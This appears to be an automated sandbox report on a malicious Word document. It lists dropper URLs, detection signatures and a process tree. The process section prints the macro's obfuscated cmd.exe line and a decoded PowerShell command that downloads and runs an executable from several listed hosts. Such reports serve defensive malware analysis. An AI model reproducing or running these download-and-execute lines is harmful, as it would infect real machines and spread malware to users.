Analysis
- max time kernel
118s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20240419-en - resource tags
- submitted
02/05/2024, 08:28
General
- Target 0dfef8a30831d6cc5f7874e2ed1d06d6_JaffaCakes118.doc
- Size 163KB
- Sample240502-kda14adb8z
- SHA256 db6ce39a909d976eed638902f0bceeb3f6036a8656eca7dcac19f1336c5a3e95
Malware Config
Extracted
-
ps1
-
exe.dropper
http://www.galatasaraybasketbol.com/wp-content/KI
-
exe.dropper
http://www.cvgriyausahaberkah.com/wp-admin/user/wrgHGJ
-
exe.dropper
http://www.dvinyaninov.ru/tUFSGD
-
exe.dropper
http://www.2.globalengine.ru/1iaYvEu6
-
exe.dropper
http://theminetulsa.com/Pb
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 4 IoCs
- An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0dfef8a30831d6cc5f7874e2ed1d06d6_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\Cmd.exeCmd cVHBkRdDmjzK jHafSTupIRSVBqWrKLvA pYaPbEK & %co^m^S^p^E^c% /c ^Cm^D; ; ; ; /V^:^o ; ;; /R " ;; ( ( (^S^e^t ^9C=C^f V7 2w ^Be^ d^S^ 8O V^D^ fw^ SL Bn ^kw q^u ^hl^ ^E^Z ^0L QS^ ^5^7 ^FR}Na^}^Lo^{8Q^hMT^c3^St^37a^y^1cLl}9R;^aNk^j^Ua3R^ejFrZub3c;96^bJGXtQ^Co7$^vh^ S^k^s1msS4^eHcc8^ko ^gr^2GP^wi-^UKt^Qx^rk a 1tuW^SNT;qW^)E5b^ZUX^iuC^t8^$^ZA z^T,^u^1He^FUSx^brj^$BD^(sXe^K^Tl^c7i^j1Fxyd^zu^a8u^o8v^lV^UnkP^wtgo ^IDCA^.^I7V^8^GtBDEJ^7^$^is{fk^y^ Gr0^itN^4{ y^)^w^KtU^AL^aTB^4s$^PL b^mn^Me^i57 c^uHFhU^93beY^$IN^(l^V^hYlcdha^oB^eFn^rU^jocSfD^L;^L^h'EDe4a^x^j^g^eJn^.AH^'yO+o^1R^XPGXaQj^s$yo+iY'TO\Rv'rv+G^UpCW^m a^ez^4ts^ :8TvM^UnYheT1$^PQ=R^0bY^VX8I^C^V^h$A^D;YE^'N^P9S68Ul3 S'Tk ^ki^=9K^ ^v^XReDG^Tw^Q^s^c$^g1;^ac^)Et'N^Z^@^v^u'Cj^(j5tVR^i^X^2l^z^ppN^HS^c^z^.^6^Z^'MjbVMP^mn/w mBKoD3cM^V.fda^HB^s^v^wleCuY3ta^4e^g^On^d6iBqm^Ua^eLSh^F^i^t8h/^43/R^w:^gKpF^Ot3^O^t^3mhjc@^Em6eo^uZNEkFvEQYC^maki^irC1NM^/qXuOGrq^T^.IJeV^rnc^S^i5^m^gZ^in5belG^l^7^xal^A^bZ^koH^Ll^F^wg^v^1.My^2x^3.^o5wkDwuUwfa/w^6^/gC: 7pj5^tX5tjsh1w^@3gDUDG^Y^ES^VIFq^C^Uf^d^tg9/^G^v^uwxrgZ.^hC^vN^8^o^KbnFWic^4nu^7a^r0^y^VBn9tiN7vx^Udb^8.^Q^r^wC^fw^B^rw^Jz/nf^/dH:7f^p7UtnVtp3h^l6@^6m^JkT^G^t^cHs^Ig^t^7r35wfb/z^B^r^A^Reuxs^lcu^Vl/^HZn^dN^inZm 3dN^Ba b-lOp^xC^w^L^9/nbm^o^3on9^cdI.3G^h7Z^ar^vk8Dr^p^M^e8zb^P^oairh^VP^a^M5sJ0uFyaY6y^aUi^QS^rSR^g5d^vf^WcO^6.WrwZKw^y9wG^x/^jd/no^:j^3^p^E^Bt^fhtXk^hl^L@6kIs^lK^gr/2pt^Y4nw^Aes^h^t^epn8WoYIcWZ-^sbpe2w^px^/ 9^m^8FogbcEK.0^dlS^6ou0^bK^kt^cpe4Vkk^vsAsaS8bU^j^yy^jaPdrtPap^d^s1T^ay^Stg^0a^FD^lC^p^aRig^pZ.^duw^zdwsrw^DN/K^O^/ R:1^KpYjtRwtXlhZ7^'n0^=qft^s^g^L^u8^Be2$cF;h^Bt^93nqR^efBiaxl0f^CSEb^tpe^IlWnj.m^LtzNen^5NHY aut^RGcE^4eXV^j^awbMS^o^t^p-^OZ^woLey^gnX7^=N^oVj^l^t^e^4Euj$^wJ 7TlJLluEe^8^k^h4Ns0^Vrk^bem^o^w^GRouv^p) ) ; )& ;; ; ^Fo^R ; /^l;;; %m ; ;;^in ;; ; (^ ;123^8^ ; -^3 ^2^ ; ; ) ; ; ; ^dO; ( ;;; ^s^eT ^EHT^A=!^EHT^A!!^9C:~%m, 1!)&& ; ; ; I^f; ; ; %m ; ; ; L^S^S ;; ; ^3; ; ( ; ; (cal^L ; ; ; %^EHT^A:^*^EH^T^A!=% ) ) "2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeCmD ; ; ; ; /V:o ; ;; /R " ;; ( ( (^S^e^t ^9C=C^f V7 2w ^Be^ d^S^ 8O V^D^ fw^ SL Bn ^kw q^u ^hl^ ^E^Z ^0L QS^ ^5^7 ^FR}Na^}^Lo^{8Q^hMT^c3^St^37a^y^1cLl}9R;^aNk^j^Ua3R^ejFrZub3c;96^bJGXtQ^Co7$^vh^ S^k^s1msS4^eHcc8^ko ^gr^2GP^wi-^UKt^Qx^rk a 1tuW^SNT;qW^)E5b^ZUX^iuC^t8^$^ZA z^T,^u^1He^FUSx^brj^$BD^(sXe^K^Tl^c7i^j1Fxyd^zu^a8u^o8v^lV^UnkP^wtgo ^IDCA^.^I7V^8^GtBDEJ^7^$^is{fk^y^ Gr0^itN^4{ y^)^w^KtU^AL^aTB^4s$^PL b^mn^Me^i57 c^uHFhU^93beY^$IN^(l^V^hYlcdha^oB^eFn^rU^jocSfD^L;^L^h'EDe4a^x^j^g^eJn^.AH^'yO+o^1R^XPGXaQj^s$yo+iY'TO\Rv'rv+G^UpCW^m a^ez^4ts^ :8TvM^UnYheT1$^PQ=R^0bY^VX8I^C^V^h$A^D;YE^'N^P9S68Ul3 S'Tk ^ki^=9K^ ^v^XReDG^Tw^Q^s^c$^g1;^ac^)Et'N^Z^@^v^u'Cj^(j5tVR^i^X^2l^z^ppN^HS^c^z^.^6^Z^'MjbVMP^mn/w mBKoD3cM^V.fda^HB^s^v^wleCuY3ta^4e^g^On^d6iBqm^Ua^eLSh^F^i^t8h/^43/R^w:^gKpF^Ot3^O^t^3mhjc@^Em6eo^uZNEkFvEQYC^maki^irC1NM^/qXuOGrq^T^.IJeV^rnc^S^i5^m^gZ^in5belG^l^7^xal^A^bZ^koH^Ll^F^wg^v^1.My^2x^3.^o5wkDwuUwfa/w^6^/gC: 7pj5^tX5tjsh1w^@3gDUDG^Y^ES^VIFq^C^Uf^d^tg9/^G^v^uwxrgZ.^hC^vN^8^o^KbnFWic^4nu^7a^r0^y^VBn9tiN7vx^Udb^8.^Q^r^wC^fw^B^rw^Jz/nf^/dH:7f^p7UtnVtp3h^l6@^6m^JkT^G^t^cHs^Ig^t^7r35wfb/z^B^r^A^Reuxs^lcu^Vl/^HZn^dN^inZm 3dN^Ba b-lOp^xC^w^L^9/nbm^o^3on9^cdI.3G^h7Z^ar^vk8Dr^p^M^e8zb^P^oairh^VP^a^M5sJ0uFyaY6y^aUi^QS^rSR^g5d^vf^WcO^6.WrwZKw^y9wG^x/^jd/no^:j^3^p^E^Bt^fhtXk^hl^L@6kIs^lK^gr/2pt^Y4nw^Aes^h^t^epn8WoYIcWZ-^sbpe2w^px^/ 9^m^8FogbcEK.0^dlS^6ou0^bK^kt^cpe4Vkk^vsAsaS8bU^j^yy^jaPdrtPap^d^s1T^ay^Stg^0a^FD^lC^p^aRig^pZ.^duw^zdwsrw^DN/K^O^/ R:1^KpYjtRwtXlhZ7^'n0^=qft^s^g^L^u8^Be2$cF;h^Bt^93nqR^efBiaxl0f^CSEb^tpe^IlWnj.m^LtzNen^5NHY aut^RGcE^4eXV^j^awbMS^o^t^p-^OZ^woLey^gnX7^=N^oVj^l^t^e^4Euj$^wJ 7TlJLluEe^8^k^h4Ns0^Vrk^bem^o^w^GRouv^p) ) ; )& ;; ; ^Fo^R ; /^l;;; %m ; ;;^in ;; ; (^ ;123^8^ ; -^3 ^2^ ; ; ) ; ; ; ^dO; ( ;;; ^s^eT ^EHT^A=!^EHT^A!!^9C:~%m, 1!)&& ; ; ; I^f; ; ; %m ; ; ; L^S^S ;; ; ^3; ; ( ; ; (cal^L ; ; ; %^EHT^A:^*^EH^T^A!=% ) ) "3⤵
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $EtV=new-object Net.WebClient;$BLt='http://www.galatasaraybasketbol.com/wp-content/KI@http://www.cvgriyausahaberkah.com/wp-admin/user/wrgHGJ@http://www.dvinyaninov.ru/tUFSGD@http://www.2.globalengine.ru/1iaYvEu6@http://theminetulsa.com/Pb'.Split('@');$QGR = '389';$CXb=$env:temp+'\'+$QGR+'.exe';foreach($bUH in $BLt){try{$EtV.DownloadFile($bUH, $CXb);Start-Process $CXb;break;}catch{}}4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_yzxwqm1y.a1a.ps1
TM02851218[[fn=gb]].xsl
memory/568-14-0x00007FFCE8330000-0x00007FFCE8525000-memory.dmp
memory/568-17-0x00007FFCE8330000-0x00007FFCE8525000-memory.dmp
memory/568-1-0x00007FFCA83B0000-0x00007FFCA83C0000-memory.dmp
memory/568-5-0x00007FFCE83CD000-0x00007FFCE83CE000-memory.dmp
memory/568-6-0x00007FFCE8330000-0x00007FFCE8525000-memory.dmp
memory/568-8-0x00007FFCE8330000-0x00007FFCE8525000-memory.dmp
memory/568-7-0x00007FFCE8330000-0x00007FFCE8525000-memory.dmp
memory/568-10-0x00007FFCE8330000-0x00007FFCE8525000-memory.dmp
memory/568-18-0x00007FFCE8330000-0x00007FFCE8525000-memory.dmp
memory/568-9-0x00007FFCE8330000-0x00007FFCE8525000-memory.dmp
memory/568-12-0x00007FFCE8330000-0x00007FFCE8525000-memory.dmp
memory/568-13-0x00007FFCE8330000-0x00007FFCE8525000-memory.dmp
memory/568-15-0x00007FFCA6140000-0x00007FFCA6150000-memory.dmp
memory/568-16-0x00007FFCE8330000-0x00007FFCE8525000-memory.dmp
memory/568-4-0x00007FFCA83B0000-0x00007FFCA83C0000-memory.dmp
memory/568-0-0x00007FFCA83B0000-0x00007FFCA83C0000-memory.dmp
memory/568-11-0x00007FFCA6140000-0x00007FFCA6150000-memory.dmp
memory/568-19-0x00007FFCE8330000-0x00007FFCE8525000-memory.dmp
memory/568-52-0x00007FFCE8330000-0x00007FFCE8525000-memory.dmp
memory/568-56-0x00007FFCE8330000-0x00007FFCE8525000-memory.dmp
memory/568-57-0x00007FFCE8330000-0x00007FFCE8525000-memory.dmp
memory/568-3-0x00007FFCA83B0000-0x00007FFCA83C0000-memory.dmp
memory/568-578-0x00007FFCE8330000-0x00007FFCE8525000-memory.dmp
memory/568-2-0x00007FFCA83B0000-0x00007FFCA83C0000-memory.dmp
memory/568-552-0x00007FFCE8330000-0x00007FFCE8525000-memory.dmp
memory/568-553-0x00007FFCE8330000-0x00007FFCE8525000-memory.dmp
memory/568-554-0x00007FFCE8330000-0x00007FFCE8525000-memory.dmp
memory/568-575-0x00007FFCA83B0000-0x00007FFCA83C0000-memory.dmp
memory/568-576-0x00007FFCA83B0000-0x00007FFCA83C0000-memory.dmp
memory/568-574-0x00007FFCA83B0000-0x00007FFCA83C0000-memory.dmp
memory/568-577-0x00007FFCA83B0000-0x00007FFCA83C0000-memory.dmp
memory/4252-67-0x0000014725060000-0x0000014725082000-memory.dmp